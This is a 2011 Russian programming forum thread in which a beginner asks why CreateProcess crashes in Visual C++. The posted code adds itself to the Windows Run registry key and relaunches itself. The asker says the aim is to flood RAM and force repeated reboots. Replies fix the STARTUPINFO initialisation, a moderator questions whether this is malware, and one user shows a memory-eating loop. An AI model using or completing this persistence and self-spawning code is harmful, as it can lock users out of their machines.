Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.63/8: Рейтинг темы: голосов - 8, средняя оценка - 4.63
8 / 8 / 0
Регистрация: 05.06.2011
Сообщений: 97

Неполучается создать процесс

27.08.2011, 13:03. Показов 1719. Ответов 15
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Привет! Такая проблема возникла. В Visual C++ 2010 неполучается создать процесс.
C++
1
CreateProcess(argv[0],0,0,0,0,0,0,0,&sui,&pi);
Пишет, что Необработанное исключение в "0x77956dd0" в "!funny.exe": 0xC0000005: Нарушение прав доступа при чтении "0xcccccccc".
Причем dev C++ этот код отлично компилирует! Подскажите, пожалуйста, что сделать, чтобы и в Visual C++ он тоже работал. Заранее благодарю!
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
27.08.2011, 13:03
Ответы с готовыми решениями:

неполучается создать правило RewriteRule
хочу сделать ЧПУ но ничего не выходит вот что я использую RewriteRule ^(+)/(+)/?$ index.php?page=$1&rem=$2 RewriteRule ^user/?$...

Неполучается создать базу. (mdb)
Здраствуйте уважаемые знатоки. Неполучается создать базу mdb. Делал все согласно https://msdn.microsoft.com/ru-ru/library/ms171893.aspx...

создать процесс
Здравствуйте. Интересует такой вопрос. Немного программировал на QT, там имеется возможность запустить процесс потом прочитать вывод...

15
 Аватар для lolopolosko
1354 / 315 / 6
Регистрация: 21.11.2009
Сообщений: 992
27.08.2011, 13:26
Попробуйте запустить ВС++ с правами админа
0
8 / 8 / 0
Регистрация: 05.06.2011
Сообщений: 97
27.08.2011, 13:27  [ТС]
Пробовал - ничего не поменялось. Как была ошибка, так она и есть
0
Эксперт С++
 Аватар для grizlik78
2382 / 1666 / 279
Регистрация: 29.05.2011
Сообщений: 3,402
27.08.2011, 13:39
Вообще, 0xCCCCCCCC намекает на неинициализированную переменную. Большего без кода сказать трудно.
0
8 / 8 / 0
Регистрация: 05.06.2011
Сообщений: 97
27.08.2011, 13:41  [ТС]
Ок, выкладываю все.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#include <WinError.h>
 
using namespace std;
 
int _tmain(int argc, _TCHAR* argv[])
{
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;
    HKEY hKey = HKEY_LOCAL_MACHINE; 
    wchar_t *sKey = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    LONG a = RegCreateKeyEx(hKey, 
                     sKey, 
                     NULL, 
                     NULL, 
                     REG_OPTION_NON_VOLATILE, 
                     KEY_SET_VALUE, 
                     NULL, 
                     &hKey, 
                     NULL); 
    if(a==ERROR_SUCCESS)
    {
      cout << "ura!" <<endl;
      // system("PAUSE");
      
    }
    else
    {
      cout << "bat! " << a << endl;
      //system("PAUSE");
    }
    TCHAR buffer[MAX_PATH];
    GetModuleFileName(NULL, buffer,MAX_PATH + 1);
    RegSetValueEx(hKey,L"MY",0,REG_SZ,(PBYTE)buffer,2*wcslen(buffer)+1);
    RegCloseKey(hKey);
    //while(1){
        CreateProcess(argv[0],0,0,0,0,0,0,0,&sui,&pi);
    //}
    
    return 0;
}
0
Эксперт С++
 Аватар для grizlik78
2382 / 1666 / 279
Регистрация: 29.05.2011
Сообщений: 3,402
27.08.2011, 13:46
Ну вот попробуй перед CreateProcess сделать
C++
1
memset(&sui, 0, sizeof(sui));
А вообще, по хорошему, поля этой структуры надо заполнять перед вызовом.
0
8 / 8 / 0
Регистрация: 05.06.2011
Сообщений: 97
27.08.2011, 14:35  [ТС]
Спасибо, так заработало... Но эффект всё равно почему-то не тот... Должны создаваться бесчисленные экземпляры приложения и заполнить всю оперативку. А щас смотрю в диспетчер задач - процессы, а там только 2 или 3 экземпляра программы. Из-за чего это может быть?

Добавлено через 40 минут
Ещё хочу попросить, можете написать пример заполнения этой структуры с пояснениями. Заранее благодарю!
0
204 / 205 / 16
Регистрация: 06.08.2011
Сообщений: 600
Записей в блоге: 1
27.08.2011, 15:49
Цитата Сообщение от Илларион Посмотреть сообщение
Ещё хочу попросить, можете написать пример заполнения этой структуры с пояснениями.
http://msdn.microsoft.com/en-u... s.85).aspx
0
Эксперт С++
 Аватар для grizlik78
2382 / 1666 / 279
Регистрация: 29.05.2011
Сообщений: 3,402
27.08.2011, 15:56
Ну, минимально, пожалуй, стоит сделать
C++
1
2
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
Дальше поля можно заполнять по необходимости, не забывая выставлять соответствующий флаг. Ну а описания полей — да, в MSDN.
0
Модератор
Эксперт PythonЭксперт JavaЭксперт CЭксперт С++
 Аватар для easybudda
12843 / 7592 / 1766
Регистрация: 25.07.2009
Сообщений: 13,973
27.08.2011, 16:21
Цитата Сообщение от Илларион Посмотреть сообщение
Должны создаваться бесчисленные экземпляры приложения и заполнить всю оперативку.
Напомню:
Запрещено размещать и обсуждать информацию, противоречащую законодательству Российской Федерации...
Правила форума
Отсюда вопрос - вредоносное ПО пишете?
0
 Аватар для alkagolik
1599 / 622 / 113
Регистрация: 15.07.2011
Сообщений: 3,548
27.08.2011, 17:25
это же очевидно. Видимо времени свободного много...
0
Эксперт С++
 Аватар для CyBOSSeR
2348 / 1721 / 149
Регистрация: 06.03.2009
Сообщений: 3,675
27.08.2011, 18:40
Цитата Сообщение от grizlik78 Посмотреть сообщение
Ну, минимально, пожалуй, стоит сделать
C++
1
2
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
Так как cb первое поле структуры, то целесообразнее сделать так:
C++
1
STARTUPINFO si = { sizeof(STARTUPINFO) };
1
Эксперт С++
 Аватар для grizlik78
2382 / 1666 / 279
Регистрация: 29.05.2011
Сообщений: 3,402
27.08.2011, 18:44
Ну да, согласен. Да и вообще инициализировать переменные правильнее как раз при объявлении.
0
быдлокодер
 Аватар для kravam
1724 / 911 / 106
Регистрация: 04.06.2008
Сообщений: 5,705
27.08.2011, 18:46
Что вредоносоного в том, что заполнится вся оперативка? Я, например, был бы этому рад!
0
Higher
 Аватар для diagon
1953 / 1219 / 120
Регистрация: 02.05.2010
Сообщений: 2,925
Записей в блоге: 2
27.08.2011, 18:48
Скушать оперативку можно и проще.
C++
1
2
while(true)
    new char[1000];
1
8 / 8 / 0
Регистрация: 05.06.2011
Сообщений: 97
28.08.2011, 15:46  [ТС]
Цитата Сообщение от easybudda Посмотреть сообщение
вредоносное ПО пишете
Только для себя и только в качестве обучения.

Добавлено через 2 минуты
Цитата Сообщение от kravam Посмотреть сообщение
Что вредоносоного в том, что заполнится вся оперативка? Я, например, был бы этому рад!
У вас экстренно перезагрузится комп. А если эту прогу в реестр в автозагрузку засадить - то он будет постоянно перезагружатся после очередного входа в систему
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
28.08.2011, 15:46
Помогаю со студенческими работами здесь

Создать процесс
Хотелось бы реализовать такую вещь - есть обычное оконное приложение, в нем по нажатию кнопки к примеру, создавался бы процесс и в этот...

Не удается создать процесс
Пытаюсь создать процесс с помощью функции CreateProcess(), но пишет ошибку &quot;невозможно преобразовать параметр 2 из &quot;const char &quot;...

создать циклический процесс
помогите создать циклический процесс двумя разными способами, используя разные операторы!!!!! y=сумма ln(1+cosx i/2)/cosx(xi-1) , i=1 TO 16

Создать параллельный процесс
Добрый вечер В свой проект хочу вставить функцию которая определяет нажатие клавиш (комбинацию клавиш). В зависимости от нажатия будут...

Создать дочерний процесс
Помогите пожалуйста с программой на C++. Экзамен по операционным системам. Нужно создать дочерний процесс. Процесс вычисляет определенный...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
16
Ответ Создать тему
Новые блоги и статьи
SDL3 для Desktop (MinGW): Создаём пустое окно с нуля для 2D-графики на SDL3, Си и C++
8Observer8 10.03.2026
Содержание блога Финальные проекты на Си и на C++: hello-sdl3-c. zip hello-sdl3-cpp. zip Результат:
Установка CMake и MinGW 13.1 для сборки С и C++ приложений из консоли и из Qt Creator в EXE
8Observer8 10.03.2026
Содержание блога MinGW - это коллекция инструментов для сборки приложений в EXE. CMake - это система сборки приложений. Здесь описаны базовые шаги для старта программирования с помощью CMake и. . .
Как дизайн сайта влияет на конверсию: 7 решений, которые реально повышают заявки
Neotwalker 08.03.2026
Многие до сих пор воспринимают дизайн сайта как “красивую оболочку”. На практике всё иначе: дизайн напрямую влияет на то, оставит человек заявку или уйдёт через несколько секунд. Даже если у вас. . .
Модульная разработка через nuget packages
DevAlt 07.03.2026
Сложившийся в . Net-среде способ разработки чаще всего предполагает монорепозиторий в котором находятся все исходники. При создании нового решения, мы просто добавляем нужные проекты и имеем. . .
Модульный подход на примере F#
DevAlt 06.03.2026
В блоге дяди Боба наткнулся на такое определение: В этой книге («Подход, основанный на вариантах использования») Ивар утверждает, что архитектура программного обеспечения — это структуры,. . .
Управление камерой с помощью скрипта OrbitControls.js на Three.js: Вращение, зум и панорамирование
8Observer8 05.03.2026
Содержание блога Финальная демка в браузере работает на Desktop и мобильных браузерах. Итоговый код: orbit-controls-threejs-js. zip. Сканируйте QR-код на мобильном. Вращайте камеру одним пальцем,. . .
SDL3 для Web (WebAssembly): Синхронизация спрайтов SDL3 и тел Box2D
8Observer8 04.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-sync-physics-sprites-sdl3-c. zip На первой гифке отладочные линии отключены, а на второй включены:. . .
SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий
8Observer8 02.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip Сканируйте QR-код на мобильном и вы увидите, что появится джойстик для управления главным героем. . . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru